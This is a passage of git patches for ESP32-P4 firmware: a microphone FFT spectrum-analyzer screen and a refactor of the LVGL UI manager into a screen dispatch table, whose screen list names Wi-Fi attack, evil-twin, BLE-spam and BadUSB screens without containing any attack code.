spectrum_task(void *arg) { + (void)arg; + s_task_active = true; + + int16_t *raw = malloc(FFT_N * sizeof(int16_t)); + float *y = malloc(2 * FFT_N * sizeof(float)); + float *win = malloc(FFT_N * sizeof(float)); + if (!raw || !y || !win) { + ESP_LOGE(TAG, "FFT buffer alloc failed"); + goto done; + } + + static bool dsp_inited = false; + if (!dsp_inited && dsps_fft2r_init_fc32(NULL, CONFIG_DSP_MAX_FFT_SIZE) == ESP_OK) + dsp_inited = true; + dsps_wind_hann_f32(win, FFT_N); + + int blo[N_BARS], bhi[N_BARS]; + for (int i = 0; i < N_BARS; i++) { + float e0 = (float)BIN_LO * powf((float)BIN_HI / BIN_LO, (float)i / N_BARS); + float e1 = (float)BIN_LO * powf((float)BIN_HI / BIN_LO, (float)(i + 1) / N_BARS); + blo[i] = (int)(e0 + 0.5f); + bhi[i] = (int)(e1 + 0.5f); + if (bhi[i] <= blo[i]) + bhi[i] = blo[i] + 1; + if (bhi[i] > FFT_N / 2) + bhi[i] = FFT_N / 2; + } + + if (audio_i2s_mic_stream_start(SAMPLE_RATE) != ESP_OK) { + ESP_LOGE(TAG, "mic stream start failed"); + goto done; + } + + while (s_running) { + int filled = 0; + while (s_running && filled < FFT_N) { + int got = audio_i2s_mic_stream_read(raw + filled, FFT_N - filled); + if (got <= 0) + break; + filled += got; + } + if (filled < FFT_N) + continue; + + int rawpk = 0; + for (int i = 0; i < FFT_N; i++) { + int a = raw[i] < 0 ? -raw[i] : raw[i]; + if (a > rawpk) + rawpk = a; + y[2 * i] = (float)raw[i] * win[i]; + y[2 * i + 1] = 0.0f; + } + + s_peak_db = rawpk > 0 ? 20.0f * log10f((float)rawpk / 32768.0f) : PEAK_DB_FLOOR; + if (s_peak_db < PEAK_DB_FLOOR) + s_peak_db = PEAK_DB_FLOOR; + s_clip = (rawpk >= CLIP_SAMPLE); + + if (dsp_inited) { + dsps_fft2r_fc32(y, FFT_N); + dsps_bit_rev_fc32(y, FFT_N); + dsps_cplx2reC_fc32(y, FFT_N); + } + + float mag[N_BARS]; + float fmax = 1.0f; + for (int b = 0; b < N_BARS; b++) { + float p = 0.0f; + for (int k = blo[b]; k < bhi[b]; k++) { + float re = y[2 * k], im = y[2 * k + 1]; + p += re * re + im * im; + } + float m = sqrtf(p / (float)(bhi[b] - blo[b])); + mag[b] = m; + if (m > fmax) + fmax = m; + } + + s_gmax *= GMAX_DECAY; + if (fmax > s_gmax) + s_gmax = fmax; + if (s_gmax < GMAX_FLOOR) + s_gmax = GMAX_FLOOR; + bool gate = (fmax < NOISE_GATE); + for (int b = 0; b < N_BARS; b++) { + float n = gate ? 0.0f : (mag[b] / s_gmax); + if (n > 1.0f) + n = 1.0f; + s_bands[b] = sqrtf(n); + } + } + + audio_i2s_mic_stream_stop(); + +done: + free(raw); + free(y); + free(win); + for (int b = 0; b < N_BARS; b++) + s_bands[b] = 0.0f; + s_running = false; + s_task_active = false; + vTaskDelete(NULL); +} + +static void anim_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + s_running = false; + lv_timer_delete(t); + s_anim_timer = NULL; + return; + } + if (!ui_input_is_locked()) { + bool back = back_button_is_down(); + if (back && !s_back_last) { + s_running = false; + s_back_last = back; + ui_switch_screen(SCREEN_SETTINGS); + return; + } + s_back_last = back; + } + + for (int i = 0; i < N_BARS; i++) { + float b = s_bands[i]; + if (b > s_disp[i]) + s_disp[i] = b; + else + s_disp[i] = s_disp[i] * 0.80f + b * 0.20f; + int h = (int)(2.0f + s_disp[i] * 96.0f); + lv_obj_set_height(s_bars[i], lv_pct(h)); + + if (s_disp[i] >= s_peak[i]) { + s_peak[i] = s_disp[i]; + s_hold[i] = HOLD_FRAMES; + } else if (s_hold[i] > 0) { + s_hold[i]--; + } else { + s_peak[i] -= PEAK_FALL; + if (s_peak[i] < s_disp[i]) + s_peak[i] = s_disp[i]; + } + int cy = s_plot_h - (int)(s_peak[i] * (float)s_plot_h) - CAP_H; + if (cy < 0) + cy = 0; + if (cy > s_plot_h - CAP_H) + cy = s_plot_h - CAP_H; + lv_obj_set_y(s_caps[i], cy); + } + + if (s_db_label) + lv_label_set_text_fmt(s_db_label, "%d dBFS", (int)s_peak_db); + if (s_clip_label) { + if (s_clip) + lv_obj_remove_flag(s_clip_label, LV_OBJ_FLAG_HIDDEN); + else + lv_obj_add_flag(s_clip_label, LV_OBJ_FLAG_HIDDEN); + } +} + +void ui_spectrum_open(void) { + s_running = false; + for (int i = 0; i < TASK_STOP_RETRIES && s_task_active; i++) + vTaskDelay(pdMS_TO_TICKS(TASK_STOP_DELAY_MS)); + + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + for (int i = 0; i < N_BARS; i++) { + s_disp[i] = 0.0f; + s_bands[i] = 0.0f; + s_peak[i] = 0.0f; + s_hold[i] = 0; + } + s_gmax = GMAX_FLOOR; + s_back_last = false; + s_peak_db = PEAK_DB_FLOOR; + s_clip = false; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + lv_obj_t *title = lv_label_create(s_screen); + lv_label_set_text(title, "SPECTRUM"); + lv_obj_set_style_text_color(title, ui_theme_get_accent(), 0); + lv_obj_align(title, LV_ALIGN_TOP_LEFT, 8, 8); + + s_db_label = lv_label_create(s_screen); + lv_label_set_text(s_db_label, "-60 dBFS"); + lv_obj_set_style_text_color(s_db_label, current_theme.text_main, 0); + lv_obj_set_style_text_opa(s_db_label, LV_OPA_70, 0); + lv_obj_align(s_db_label, LV_ALIGN_TOP_RIGHT, -8, 8); + + s_clip_label = lv_label_create(s_screen); + lv_label_set_text(s_clip_label, "CLIP"); + lv_obj_set_style_text_color(s_clip_label, lv_color_hex(0xFF5252), 0); + lv_obj_align(s_clip_label, LV_ALIGN_TOP_MID, 0, 8); + lv_obj_add_flag(s_clip_label, LV_OBJ_FLAG_HIDDEN); + + s_plot = lv_obj_create(s_screen); + lv_obj_remove_flag(s_plot, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_opa(s_plot, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(s_plot, 0, 0); + lv_obj_set_style_pad_all(s_plot, 4, 0); + lv_obj_set_style_pad_column(s_plot, 3, 0); + lv_obj_set_size(s_plot, lv_pct(94), lv_pct(64)); + lv_obj_align(s_plot, LV_ALIGN_CENTER, 0, 6); + lv_obj_set_flex_flow(s_plot, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(s_plot, LV_FLEX_ALIGN_SPACE_EVENLY, LV_FLEX_ALIGN_END, LV_FLEX_ALIGN_END); + + for (int g = 1; g <= 3; g++) { + lv_obj_t *line = lv_obj_create(s_plot); + lv_obj_add_flag(line, LV_OBJ_FLAG_FLOATING); + lv_obj_remove_flag(line, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_border_width(line, 0, 0); + lv_obj_set_style_radius(line, 0, 0); + lv_obj_set_style_bg_color(line, current_theme.text_main, 0); + lv_obj_set_style_bg_opa(line, LV_OPA_20, 0); + lv_obj_set_size(line, lv_pct(100), 1); + lv_obj_set_align(line, LV_ALIGN_TOP_MID); + lv_obj_set_y(line, lv_pct(g * 25)); + } + + for (int i = 0; i < N_BARS; i++) { + lv_obj_t *bar = lv_obj_create(s_plot); + lv_obj_remove_flag(bar, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_flex_grow(bar, 1); + lv_obj_set_height(bar, lv_pct(2)); + lv_obj_set_style_radius(bar, 2, 0); + lv_obj_set_style_border_width(bar, 0, 0); + lv_obj_set_style_pad_all(bar, 0, 0); + lv_obj_set_style_bg_opa(bar, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(bar, lv_color_hex(0xFF5252), 0); + lv_obj_set_style_bg_grad_color(bar, lv_color_hex(0x00E676), 0); + lv_obj_set_style_bg_grad_dir(bar, LV_GRAD_DIR_VER, 0); + s_bars[i] = bar; + } + + for (int i = 0; i < N_BARS; i++) { + lv_obj_t *cap = lv_obj_create(s_plot); + lv_obj_add_flag(cap, LV_OBJ_FLAG_FLOATING); + lv_obj_remove_flag(cap, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_border_width(cap, 0, 0); + lv_obj_set_style_radius(cap, 1, 0); + lv_obj_set_style_bg_color(cap, current_theme.text_main, 0); + lv_obj_set_style_bg_opa(cap, LV_OPA_80, 0); + lv_obj_set_size(cap, 4, CAP_H); + s_caps[i] = cap; + } + + static const char *const FAXIS[] = {"60", "250", "1k", "4k"}; + lv_obj_t *axis = lv_obj_create(s_screen); + lv_obj_remove_flag(axis, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_opa(axis, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(axis, 0, 0); + lv_obj_set_style_pad_all(axis, 0, 0); + lv_obj_set_size(axis, lv_pct(94), 16); + lv_obj_align_to(axis, s_plot, LV_ALIGN_OUT_BOTTOM_MID, 0, 2); + lv_obj_set_flex_flow(axis, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align( + axis, LV_FLEX_ALIGN_SPACE_BETWEEN, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + for (int i = 0; i < 4; i++) { + lv_obj_t *l = lv_label_create(axis); + lv_label_set_text(l, FAXIS[i]); + lv_obj_set_style_text_font(l, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(l, current_theme.text_main, 0); + lv_obj_set_style_text_opa(l, LV_OPA_50, 0); + } + + lv_obj_t *hint = lv_label_create(s_screen); + lv_label_set_text(hint, "BACK to exit"); + lv_obj_set_style_text_color(hint, current_theme.text_main, 0); + lv_obj_set_style_text_opa(hint, LV_OPA_60, 0); + lv_obj_align(hint, LV_ALIGN_BOTTOM_MID, 0, -6); + + lv_obj_update_layout(s_screen); + s_plot_h = lv_obj_get_content_height(s_plot); + if (s_plot_h < 10) + s_plot_h = 100; + for (int i = 0; i < N_BARS; i++) { + int bw = lv_obj_get_width(s_bars[i]); + int bx = lv_obj_get_x(s_bars[i]); + lv_obj_set_size(s_caps[i], bw > 0 ? bw : 4, CAP_H); + lv_obj_set_x(s_caps[i], bx); + lv_obj_set_y(s_caps[i], s_plot_h - CAP_H); + } + + s_running = true; + if (xTaskCreatePinnedToCore(spectrum_task, + "spectrum", + SPECTRUM_TASK_STACK, + NULL, + SPECTRUM_TASK_PRIORITY, + NULL, + SPECTRUM_TASK_CORE) != pdPASS) { + ESP_LOGE(TAG, "spectrum task create failed"); + s_running = false; + } + + if (s_anim_timer == NULL) + s_anim_timer = lv_timer_create(anim_timer_cb, ANIM_TIMER_MS, NULL); + + ui_screen_load(s_screen); + ESP_LOGI(TAG, "spectrum analyzer opened"); +} From c5aa28cbba12f2580a97b20b9f4093d2cc8b75c8 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 15:55:33 -0300 Subject: [PATCH 123/572] refactor(ui): dispatch-table screen manager on esp_lvgl_port --- .../Applications/ui/include/ui_manager.h | 53 ++ .../components/Applications/ui/ui_manager.c | 565 ++++++++---------- 2 files changed, 288 insertions(+), 330 deletions(-) diff --git a/firmware_p4/components/Applications/ui/include/ui_manager.h b/firmware_p4/components/Applications/ui/include/ui_manager.h index 5dc5591b9..fc094b85e 100644 --- a/firmware_p4/components/Applications/ui/include/ui_manager.h +++ b/firmware_p4/components/Applications/ui/include/ui_manager.h @@ -22,6 +22,8 @@ extern "C" { #include +#include "lvgl.h" + /** @brief Screen identifiers for the UI navigation system. */ typedef enum { SCREEN_NONE, @@ -80,6 +82,37 @@ typedef enum { SCREEN_IR_CONTROLLER, SCREEN_IR_SAVED, SCREEN_IR_BURST, + SCREEN_OCTOBIT_STATUS, + SCREEN_DEV_MENU, + SCREEN_GAMES_MENU, + SCREEN_GAME_FLAPPY, + SCREEN_GAME_SNAKE, + SCREEN_GAME_BREAKOUT, + SCREEN_GAME_OCTOPET, + SCREEN_GPIO, + SCREEN_HAPTIC, + SCREEN_SPEAKER, + SCREEN_MIC_REC, + SCREEN_SUBGHZ_MENU, + SCREEN_SUBGHZ_READ, + SCREEN_NFC_READ, + SCREEN_NFC_SAVED, + SCREEN_NFC_WRITE, + SCREEN_NFC_EMULATE, + SCREEN_NFC_CONFIG, + SCREEN_CARD_EMU, + SCREEN_RFID_MENU, + SCREEN_LORA_CHAT, + SCREEN_POWER, + SCREEN_SPECTRUM, + SCREEN_IR_REMOTE_TYPE, + SCREEN_BLE_SCAN, + SCREEN_BLE_MOUSE_PAIRING, + SCREEN_BLE_MOUSE, + SCREEN_WIFI_CHANNELS, + SCREEN_WIFI_CLIENTS, + SCREEN_WIFI_NAMES, + SCREEN_APPS, SCREEN_COUNT } screen_id_t; @@ -98,6 +131,26 @@ void ui_release(void); /** @brief Switch to a new screen by identifier. */ void ui_switch_screen(screen_id_t new_screen); +/** + * @brief Load a screen. Drop-in replacement for lv_screen_load used by the + * ported screens. + * + * @param scr Screen object to load. + */ +void ui_screen_load(lv_obj_t *scr); + +/** @brief Returns the currently active screen id. */ +screen_id_t ui_current_screen(void); + +/** @brief Re-open the active screen (no-op here: no runtime rotation). */ +void ui_manager_relayout_current(void); + +/** @brief Rotation-aware button polling (portrait pass-through on this build). */ +bool ui_btn_up(void); +bool ui_btn_down(void); +bool ui_btn_left(void); +bool ui_btn_right(void); + /** @brief Check if user input is temporarily locked. */ bool ui_input_is_locked(void); diff --git a/firmware_p4/components/Applications/ui/ui_manager.c b/firmware_p4/components/Applications/ui/ui_manager.c index 98a8ece13..a5d006c1d 100644 --- a/firmware_p4/components/Applications/ui/ui_manager.c +++ b/firmware_p4/components/Applications/ui/ui_manager.c @@ -16,104 +16,94 @@ #include "ui_manager.h" #include "core/lv_group.h" -#include "esp_timer.h" #include "freertos/FreeRTOS.h" -#include "freertos/semphr.h" #include "freertos/task.h" +#include "esp_log.h" +#include "lvgl.h" + +#include "assets_manager.h" +#include "buttons_gpio.h" +#include "lvgl_glue.h" +#include "lv_port_indev.h" +#include "msgbox_ui.h" +#include "ui_feedback.h" #include "ui_theme.h" -#include "wifi_service.h" + +#include "boot_ui.h" #include "home_ui.h" #include "menu_ui.h" #include "wifi_ui.h" -#include "wifi_attack_menu_ui.h" -#include "wifi_packets_menu_ui.h" -#include "wifi_deauth_attack_ui.h" -#include "wifi_beacon_spam_simple_ui.h" -#include "wifi_probe_flood_ui.h" -#include "wifi_auth_flood_ui.h" -#include "wifi_sniffer_raw_ui.h" -#include "wifi_sniffer_attack_ui.h" -#include "wifi_sniffer_handshake_ui.h" -#include "wifi_scan_menu_ui.h" -#include "wifi_scan_ap_ui.h" -#include "wifi_scan_stations_ui.h" -#include "wifi_scan_target_ui.h" -#include "wifi_scan_probe_ui.h" -#include "wifi_scan_monitor_ui.h" +#include "wifi_channel_ui.h" +#include "wifi_client_ui.h" #include "wifi_scan_ui.h" -#include "ui_ble_menu.h" -#include "settings_ui.h" -#include "display_settings_ui.h" -#include "interface_settings_ui.h" -#include "sound_settings_ui.h" -#include "battery_settings_ui.h" -#include "connection_settings_ui.h" +#include "wifi_names_ui.h" #include "connect_wifi_ui.h" +#include "ui_ble_menu.h" +#include "ble_scan_ui.h" +#include "ble_mouse_ui.h" #include "connect_bt_ui.h" -#include "about_settings_ui.h" -#include "companion_pairing_ui.h" -#include "ui_ble_spam.h" -#include "ui_ble_spam_select.h" -#include "ui_badusb_menu.h" #include "nfc_menu_ui.h" -#include "files_ui.h" -#include "ui_badusb_browser.h" -#include "ui_badusb_layout.h" -#include "ui_badusb_connect.h" -#include "ui_badusb_running.h" -#include "subghz_spectrum_ui.h" -#include "wifi_ap_list_ui.h" -#include "wifi_deauth_ui.h" -#include "wifi_evil_twin_ui.h" -#include "wifi_beacon_spam_ui.h" -#include "wifi_probe_ui.h" -#include "theme_selector_ui.h" +#include "nfc_emulate_ui.h" +#include "nfc_read_ui.h" +#include "nfc_saved_ui.h" +#include "nfc_write_ui.h" +#include "nfc_config_ui.h" +#include "card_emu_ui.h" +#include "power_ui.h" +#include "settings_ui.h" +#include "connection_settings_ui.h" #include "ir_menu_ui.h" -#include "ir_receive_ui.h" #include "ir_send_ui.h" +#include "ir_receive_ui.h" #include "ir_controller_ui.h" +#include "ir_remote_type_ui.h" #include "ir_saved_ui.h" #include "ir_burst_ui.h" -#include "esp_log.h" -#include "bluetooth_service.h" -#include "bad_usb.h" -#include "boot_ui.h" -#include "msgbox_ui.h" -#include "lvgl.h" -#include "lv_port_disp.h" -#include "lv_port_indev.h" -#include "assets_manager.h" +#include "haptic_ui.h" +#include "speaker_ui.h" +#include "micrec_ui.h" +#include "spectrum_ui.h" +#include "lora_chat_ui.h" +#include "games_menu_ui.h" +#include "flappy_ui.h" +#include "snake_ui.h" +#include "breakout_ui.h" +#include "octopet_ui.h" +#include "octobit_status_ui.h" +#include "dev_menu_ui.h" +#include "subghz_menu_ui.h" +#include "rfid_menu_ui.h" +#include "badusb_menu_ui.h" +#include "gpio_ui.h" +#include "files_ui.h" +#include "wifi_attack_ui.h" +#include "wifi_packets_ui.h" +#include "wifi_evil_twin_ui.h" +#include "ble_companion_ui.h" +#include "ble_spam_ui.h" +#include "display_settings_ui.h" +#include "interface_settings_ui.h" +#include "sound_settings_ui.h" +#include "battery_settings_ui.h" +#include "about_settings_ui.h" +#include "theme_selector_ui.h" static const char *TAG = "UI_MANAGER"; -#define UI_TASK_STACK_SIZE (4096 * 4) -#define UI_TASK_PRIORITY (tskIDLE_PRIORITY + 2) -#define UI_TASK_CORE 1 - -#define LVGL_TICK_PERIOD_MS 5 +#define UI_TASK_STACK_SIZE (4096 * 4) +#define UI_TASK_PRIORITY (tskIDLE_PRIORITY + 4) +#define UI_TASK_CORE 1 +#define INPUT_LOCK_MS 500 +#define BOOT_SPLASH_DURATION_MS 5000 +#define UI_IDLE_LOOP_MS 1000 -static SemaphoreHandle_t xGuiSemaphore = NULL; static bool is_emergency_restart = false; - -#define INPUT_LOCK_MS 500 static uint32_t input_lock_until = 0; static void ui_task(void *pvParameter); -static void lv_tick_task(void *arg); static void clear_current_screen(void); -static bool is_ble_screen(screen_id_t screen) { - return (screen == SCREEN_BLE_MENU || screen == SCREEN_BLE_SPAM || - screen == SCREEN_BLE_SPAM_SELECT); -} - -static bool is_badusb_screen(screen_id_t screen) { - return (screen == SCREEN_BADUSB_MENU || screen == SCREEN_BADUSB_BROWSER || - screen == SCREEN_BADUSB_LAYOUT || screen == SCREEN_BADUSB_CONNECT || - screen == SCREEN_BADUSB_RUNNING); -} - screen_id_t current_screen_id = SCREEN_NONE; void ui_init(void) { @@ -123,17 +113,7 @@ void ui_init(void) { ui_theme_init(); - xGuiSemaphore = xSemaphoreCreateRecursiveMutex(); - if (xGuiSemaphore == NULL) { - ESP_LOGE(TAG, "Failed to create UI Mutex"); - return; - } - - const esp_timer_create_args_t periodic_timer_args = {.callback = &lv_tick_task, - .name = "lvgl_tick"}; - esp_timer_handle_t periodic_timer; - ESP_ERROR_CHECK(esp_timer_create(&periodic_timer_args, &periodic_timer)); - ESP_ERROR_CHECK(esp_timer_start_periodic(periodic_timer, LVGL_TICK_PERIOD_MS * 1000)); + ui_feedback_init(); xTaskCreatePinnedToCore( ui_task, "UI Task", UI_TASK_STACK_SIZE, NULL, UI_TASK_PRIORITY, NULL, UI_TASK_CORE); @@ -149,7 +129,7 @@ void ui_hard_restart(void) { } static void ui_task(void *pvParameter) { - ui_theme_init(); + (void)pvParameter; bool is_recovery = is_emergency_restart; is_emergency_restart = false; @@ -165,280 +145,205 @@ static void ui_task(void *pvParameter) { ui_release(); } - TickType_t start_tick = xTaskGetTickCount(); - bool boot_screen_done = is_recovery; - - while (1) { + if (!is_recovery) { + vTaskDelay(pdMS_TO_TICKS(BOOT_SPLASH_DURATION_MS)); if (ui_acquire()) { - if (!boot_screen_done && (xTaskGetTickCount() - start_tick >= pdMS_TO_TICKS(5000))) { - ui_home_open(); - boot_screen_done = true; - } - - lv_timer_handler(); + ui_home_open(); ui_release(); } - vTaskDelay(pdMS_TO_TICKS(10)); + } + + while (1) { + vTaskDelay(pdMS_TO_TICKS(UI_IDLE_LOOP_MS)); } } static void clear_current_screen(void) { - lv_group_remove_all_objs(main_group); + if (main_group != NULL) { + lv_group_remove_all_objs(main_group); + } } bool ui_input_is_locked(void) { return (lv_tick_get() < input_lock_until); } +typedef void (*ui_open_fn_t)(void); + +static ui_open_fn_t screen_open_fn(screen_id_t s) { + switch (s) { + case SCREEN_HOME: + return ui_home_open; + case SCREEN_MENU: + return ui_menu_open; + case SCREEN_WIFI_MENU: + return ui_wifi_menu_open; + case SCREEN_WIFI_CHANNELS: + return ui_wifi_channel_open; + case SCREEN_WIFI_CLIENTS: + return ui_wifi_client_open; + case SCREEN_WIFI_SCAN_MENU: + return ui_wifi_scan_open; + case SCREEN_WIFI_NAMES: + return ui_wifi_names_open; + case SCREEN_CONNECT_WIFI: + return ui_connect_wifi_open; + case SCREEN_BLE_MENU: + return ui_ble_menu_open; + case SCREEN_BLE_SCAN: + return ui_ble_scan_open; + case SCREEN_BLE_MOUSE_PAIRING: + return ui_ble_mouse_pairing_open; + case SCREEN_BLE_MOUSE: + return ui_ble_mouse_open; + case SCREEN_CONNECT_BLUETOOTH: + return ui_connect_bt_open; + case SCREEN_NFC_MENU: + return ui_nfc_menu_open; + case SCREEN_NFC_EMULATE: + return ui_nfc_emulate_open; + case SCREEN_NFC_READ: + return ui_nfc_read_open; + case SCREEN_NFC_SAVED: + return ui_nfc_saved_open; + case SCREEN_NFC_WRITE: + return ui_nfc_write_open; + case SCREEN_NFC_CONFIG: + return ui_nfc_config_open; + case SCREEN_CARD_EMU: + return ui_card_emu_open; + case SCREEN_POWER: + return ui_power_open; + case SCREEN_SETTINGS: + return ui_settings_open; + case SCREEN_CONNECTION_SETTINGS: + return ui_connection_settings_open; + case SCREEN_IR_MENU: + return ui_ir_menu_open; + case SCREEN_IR_RECEIVE: + return ui_ir_receive_open; + case SCREEN_IR_SEND: + return ui_ir_send_open; + case SCREEN_IR_REMOTE_TYPE: + return ui_ir_remote_type_open; + case SCREEN_IR_CONTROLLER: + return ui_ir_controller_open; + case SCREEN_IR_SAVED: + return ui_ir_saved_open; + case SCREEN_IR_BURST: + return ui_ir_burst_open; + case SCREEN_HAPTIC: + return ui_haptic_open; + case SCREEN_SPEAKER: + return ui_speaker_open; + case SCREEN_MIC_REC: + return ui_micrec_open; + case SCREEN_SPECTRUM: + return ui_spectrum_open; + case SCREEN_LORA_CHAT: + return ui_lora_chat_open; + case SCREEN_GAMES_MENU: + return ui_games_menu_open; + case SCREEN_GAME_FLAPPY: + return ui_flappy_open; + case SCREEN_GAME_SNAKE: + return ui_snake_open; + case SCREEN_GAME_BREAKOUT: + return ui_breakout_open; + case SCREEN_GAME_OCTOPET: + return ui_octopet_open; + case SCREEN_OCTOBIT_STATUS: + return ui_octobit_status_open; + case SCREEN_DEV_MENU: + return ui_dev_menu_open; + case SCREEN_SUBGHZ_MENU: + return ui_subghz_menu_open; + case SCREEN_SUBGHZ_READ: + return ui_subghz_read_open; + case SCREEN_RFID_MENU: + return ui_rfid_menu_open; + case SCREEN_BADUSB_MENU: + return ui_badusb_menu_open; + case SCREEN_GPIO: + return ui_gpio_open; + case SCREEN_FILES: + return ui_files_open; + case SCREEN_WIFI_ATTACK_MENU: + return ui_wifi_attack_open; + case SCREEN_WIFI_PACKETS_MENU: + return ui_wifi_packets_open; + case SCREEN_WIFI_EVIL_TWIN: + return ui_wifi_evil_twin_open; + case SCREEN_COMPANION_PAIRING: + return ui_companion_pairing_open; + case SCREEN_BLE_SPAM_SELECT: + return ui_ble_spam_select_open; + case SCREEN_BLE_SPAM: + return ui_ble_spam_open; + case SCREEN_DISPLAY_SETTINGS: + return ui_display_settings_open; + case SCREEN_INTERFACE_SETTINGS: + return ui_interface_settings_open; + case SCREEN_SOUND_SETTINGS: + return ui_sound_settings_open; + case SCREEN_BATTERY_SETTINGS: + return ui_battery_settings_open; + case SCREEN_ABOUT_SETTINGS: + return ui_about_settings_open; + case SCREEN_THEME_SELECTOR: + return ui_theme_selector_open; + default: + return NULL; + } +} + void ui_switch_screen(screen_id_t new_screen) { + ui_open_fn_t open_fn = screen_open_fn(new_screen); + if (open_fn == NULL) { + ESP_LOGW(TAG, "Screen %d not available — staying put", (int)new_screen); + return; + } + input_lock_until = lv_tick_get() + INPUT_LOCK_MS; if (ui_acquire()) { - // Power Management for BLE - bool was_ble = is_ble_screen(current_screen_id); - bool is_ble = is_ble_screen(new_screen); - - if (is_ble && !was_ble) { - ESP_LOGI(TAG, "Entering BLE Mode: Initializing Service..."); - bluetooth_service_init(); - bluetooth_service_start(); - } else if (!is_ble && was_ble) { - ESP_LOGI(TAG, "Exiting BLE Mode: Stopping Service..."); - bluetooth_service_stop(); - } - clear_current_screen(); + open_fn(); + current_screen_id = new_screen; + ui_release(); + } +} - switch (new_screen) { - case SCREEN_HOME: - ui_home_open(); - break; - - case SCREEN_MENU: - ui_menu_open(); - break; - - case SCREEN_SETTINGS: - ui_settings_open(); - break; - - case SCREEN_DISPLAY_SETTINGS: - ui_display_settings_open(); - break; - - case SCREEN_INTERFACE_SETTINGS: - ui_interface_settings_open(); - break; - - case SCREEN_SOUND_SETTINGS: - ui_sound_settings_open(); - break; - - case SCREEN_BATTERY_SETTINGS: - ui_battery_settings_open(); - break; - - case SCREEN_CONNECTION_SETTINGS: - ui_connection_settings_open(); - break; - - case SCREEN_CONNECT_BLUETOOTH: - ui_connect_bt_open(); - break; - - case SCREEN_CONNECT_WIFI: - ui_connect_wifi_open(); - break; - - case SCREEN_ABOUT_SETTINGS: - ui_about_settings_open(); - break; - - case SCREEN_COMPANION_PAIRING: - ui_companion_pairing_open(); - break; - - case SCREEN_WIFI_MENU: - ui_wifi_menu_open(); - break; - - case SCREEN_WIFI_ATTACK_MENU: - ui_wifi_attack_menu_open(); - break; - - case SCREEN_WIFI_PACKETS_MENU: - ui_wifi_packets_menu_open(); - break; - - case SCREEN_WIFI_SNIFFER_RAW: - ui_wifi_sniffer_raw_open(); - break; - case SCREEN_WIFI_SNIFFER_ATTACK: - ui_wifi_sniffer_attack_open(); - break; - case SCREEN_WIFI_SNIFFER_HANDSHAKE: - ui_wifi_sniffer_handshake_open(); - break; - - case SCREEN_WIFI_DEAUTH_ATTACK: - ui_wifi_deauth_attack_open(); - break; - - case SCREEN_WIFI_BEACON_SPAM_SIMPLE: - ui_wifi_beacon_spam_simple_open(); - break; - - case SCREEN_WIFI_PROBE_FLOOD: - ui_wifi_probe_flood_open(); - break; - - case SCREEN_WIFI_AUTH_FLOOD: - ui_wifi_auth_flood_open(); - break; - - case SCREEN_WIFI_SCAN_MENU: - ui_wifi_scan_menu_open(); - break; - - case SCREEN_WIFI_SCAN_AP: - ui_wifi_scan_ap_open(); - break; - - case SCREEN_WIFI_SCAN_STATIONS: - ui_wifi_scan_stations_open(); - break; - - case SCREEN_WIFI_SCAN_TARGET: - ui_wifi_scan_target_open(); - break; - - case SCREEN_WIFI_SCAN_PROBE: - ui_wifi_scan_probe_open(); - break; - - case SCREEN_WIFI_SCAN_MONITOR: - ui_wifi_scan_monitor_open(); - break; - - case SCREEN_WIFI_SCAN: - ui_wifi_scan_open(); - break; - - case SCREEN_WIFI_AP_LIST: - ui_wifi_ap_list_open(); - break; - - case SCREEN_WIFI_DEAUTH: - ui_wifi_deauth_open(); - break; - - case SCREEN_WIFI_EVIL_TWIN: - ui_wifi_evil_twin_open(); - break; - - case SCREEN_WIFI_BEACON_SPAM: - ui_wifi_beacon_spam_open(); - break; - - case SCREEN_WIFI_PROBE: - ui_wifi_probe_open(); - break; - - case SCREEN_BLE_MENU: - ui_ble_menu_open(); - break; - - case SCREEN_BLE_SPAM_SELECT: - ui_ble_spam_select_open(); - break; - - case SCREEN_BLE_SPAM: - ui_ble_spam_open(); - break; - - case SCREEN_SUBGHZ_SPECTRUM: - ui_subghz_spectrum_open(); - break; - - case SCREEN_BADUSB_MENU: - ui_badusb_menu_open(); - break; - - case SCREEN_BADUSB_BROWSER: - ui_badusb_browser_open(); - break; - - case SCREEN_BADUSB_LAYOUT: - ui_badusb_layout_open(); - break; - - case SCREEN_BADUSB_CONNECT: - ui_badusb_connect_open(); - break; - - case SCREEN_BADUSB_RUNNING: - ui_badusb_running_open(); - break; - - case SCREEN_NFC_MENU: - ui_nfc_menu_open(); - break; - - case SCREEN_FILES: - ui_files_open(); - break; - - case SCREEN_THEME_SELECTOR: - ui_theme_selector_open(); - break; - - case SCREEN_IR_MENU: - ui_ir_menu_open(); - break; - - case SCREEN_IR_RECEIVE: - ui_ir_receive_open(); - break; - - case SCREEN_IR_SEND: - ui_ir_send_open(); - break; +bool ui_acquire(void) { + return lvgl_glue_lock(-1); +} - case SCREEN_IR_CONTROLLER: - ui_ir_controller_open(); - break; +void ui_release(void) { + lvgl_glue_unlock(); +} - case SCREEN_IR_SAVED: - ui_ir_saved_open(); - break; +void ui_screen_load(lv_obj_t *scr) { + lv_screen_load(scr); +} - case SCREEN_IR_BURST: - ui_ir_burst_open(); - break; +screen_id_t ui_current_screen(void) { + return current_screen_id; +} - default: - break; - } +void ui_manager_relayout_current(void) {} - current_screen_id = new_screen; - ui_release(); - } +bool ui_btn_up(void) { + return up_button_is_down(); } -static void lv_tick_task(void *arg) { - (void)arg; - lv_tick_inc(LVGL_TICK_PERIOD_MS); +bool ui_btn_down(void) { + return down_button_is_down(); } -bool ui_acquire(void) { - 